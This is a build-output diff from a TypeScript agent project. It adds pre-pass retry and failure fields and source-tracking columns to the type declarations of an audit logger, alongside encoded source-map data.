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"}
|
package/dist/safety/audit.d.ts
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import type Database from "better-sqlite3";
|
|
2
|
-
import type { Event,
|
|
2
|
+
import type { AgentResult, BackendId, Event, IntegrationKey, MessageEvent } from "@aitne/shared";
|
|
3
3
|
import type { BangCommandDetail, IAuditLogger } from "../core/dispatcher.js";
|
|
4
4
|
export interface AuditEventRow {
|
|
5
5
|
id: number;
|
|
@@ -33,6 +33,8 @@ export declare class AuditLogger implements IAuditLogger {
|
|
|
33
33
|
private readonly hasCostSourceColumn;
|
|
34
34
|
private readonly hasContextUpdatedColumn;
|
|
35
35
|
private readonly hasAdvisorCallCountColumn;
|
|
36
|
+
private readonly hasSourceKindColumn;
|
|
37
|
+
private readonly hasSourceRefColumn;
|
|
36
38
|
constructor(db: Database.Database, options?: AuditLoggerOptions);
|
|
37
39
|
logAction(params: {
|
|
38
40
|
event: Event;
|
|
@@ -61,6 +63,23 @@ export declare class AuditLogger implements IAuditLogger {
|
|
|
61
63
|
refetchedToday: boolean;
|
|
62
64
|
triggerMatched: boolean;
|
|
63
65
|
};
|
|
66
|
+
prePass?: {
|
|
67
|
+
parentCorrelationId: string;
|
|
68
|
+
parentRoutine: string;
|
|
69
|
+
integrationKey: IntegrationKey;
|
|
70
|
+
attempt: number;
|
|
71
|
+
maxAttempts: number;
|
|
72
|
+
retriedFromAttempt: number | null;
|
|
73
|
+
status: "success" | "partial" | "failed" | "skipped";
|
|
74
|
+
fetched: number;
|
|
75
|
+
posted: number;
|
|
76
|
+
duplicates: number;
|
|
77
|
+
errors: ReadonlyArray<Record<string, unknown>>;
|
|
78
|
+
willRetry: boolean;
|
|
79
|
+
retryReason: string;
|
|
80
|
+
fallbackTriggered?: boolean;
|
|
81
|
+
requestedBackend?: BackendId;
|
|
82
|
+
};
|
|
64
83
|
}): void;
|
|
65
84
|
logSkip(event: Event, reason: string, trigger: "reactive" | "autonomous"): void;
|
|
66
85
|
/**
|
|
@@ -104,6 +123,32 @@ export declare class AuditLogger implements IAuditLogger {
|
|
|
104
123
|
modelId?: string;
|
|
105
124
|
failureKind?: string;
|
|
106
125
|
failureCode?: string;
|
|
126
|
+
/**
|
|
127
|
+
* Pre-pass fan-out failure block. Mirrors the `prePass` payload on
|
|
128
|
+
* `logAction` so `MetricsCollector.collectPrePassMetrics` can see
|
|
129
|
+
* every failure mode (binding-resolve, global-budget-cap,
|
|
130
|
+
* per-integration budget-cap, context-build, agent-execute) without
|
|
131
|
+
* a parallel `result='success'` row. The aggregator filters by
|
|
132
|
+
* `detail.prePass` being a non-null object — independent of
|
|
133
|
+
* `result`, so writing it here is sufficient.
|
|
134
|
+
*/
|
|
135
|
+
prePass?: {
|
|
136
|
+
parentCorrelationId: string;
|
|
137
|
+
parentRoutine: string;
|
|
138
|
+
integrationKey: IntegrationKey;
|
|
139
|
+
attempt: number;
|
|
140
|
+
maxAttempts: number;
|
|
141
|
+
retriedFromAttempt: number | null;
|
|
142
|
+
status: "success" | "partial" | "failed" | "skipped";
|
|
143
|
+
fetched: number;
|
|
144
|
+
posted: number;
|
|
145
|
+
duplicates: number;
|
|
146
|
+
errors: ReadonlyArray<Record<string, unknown>>;
|
|
147
|
+
willRetry: boolean;
|
|
148
|
+
retryReason: string;
|
|
149
|
+
fallbackTriggered?: boolean;
|
|
150
|
+
requestedBackend?: BackendId;
|
|
151
|
+
};
|
|
107
152
|
}): void;
|
|
108
153
|
private emitInsertedRow;
|
|
109
154
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"audit.d.ts","sourceRoot":"","sources":["../../src/safety/audit.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,QAAQ,MAAM,gBAAgB,CAAC;AAC3C,OAAO,KAAK,
|
|
1
|
+
{"version":3,"file":"audit.d.ts","sourceRoot":"","sources":["../../src/safety/audit.ts"],"names":[],"mappings":"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"}
|